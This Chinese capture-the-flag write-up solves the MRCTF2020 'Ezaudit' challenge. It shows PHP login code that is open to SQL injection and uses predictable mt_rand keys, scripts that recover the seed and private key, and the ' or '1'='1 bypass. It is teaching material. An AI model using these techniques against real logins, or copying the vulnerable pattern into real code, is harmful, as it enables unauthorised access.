[MRCTF2020]Ezaudit (buu)
1、题目提示审计,可能有源码,但是网站里面啥都没有,可以用工具扫描一下
2、下载源码进行代码审计:
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
1)得到login.html路径,并且需要提交username、password、private_key这三个变量。如果私钥匹配的话就从user表中将用户crispr的flag字段输出,这里将$password传入了,那么还需要绕过一下crispr用户的密码。
2)有公钥和私钥两个函数,并且给出了公钥的值,在这里公钥和私钥是使用mt_rand来随机匹配$string1、2中的字符
3、获取私钥
这里需要知道伪随机数函数mt_rand的利用方式,mt_rand函数是通过撒播随机数种子来生成随机数的,并且mt_rand生成随机数只撒播一次种子,之后的随机数都使用同一个种子生成。如果知道了随机数种子,就可以将私钥得出。
工具:php_mt_seed
1)通过公钥将种子得出
首先需要将公钥转化为php_mt_seed的输入:
文档中是这么求得的:
<?php $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789'; $len = strlen($allowable_characters) - 1; $pass = $argv[1]; for ($i = 0; $i < strlen($pass); $i++) { $number = strpos($allowable_characters, $pass[$i]); echo "$number $number 0 $len "; } echo "\n"; ?>
需要写个脚本去得到php_mt_seed的输入:
string2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' public_key = 'KVQP0LdJKRaV3n9D' seed = '' for i in range(len(public_key)-1): for j in range(len(string2)-1): if public_key[i] == string2[j]: seed += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(string2)-1) + ' ' print(seed)
得到了php_mt_seed输入:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61
然后使用工具爆破种子:
2)通过种子将私钥得出
<?php mt_srand('1775196155'); function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key??? echo public_key().'</br>'; echo private_key(); ?>
私钥:XuNhoueCDCGc
4、绕过password
使用' or '1'='1万能密码,username随便输入得到flag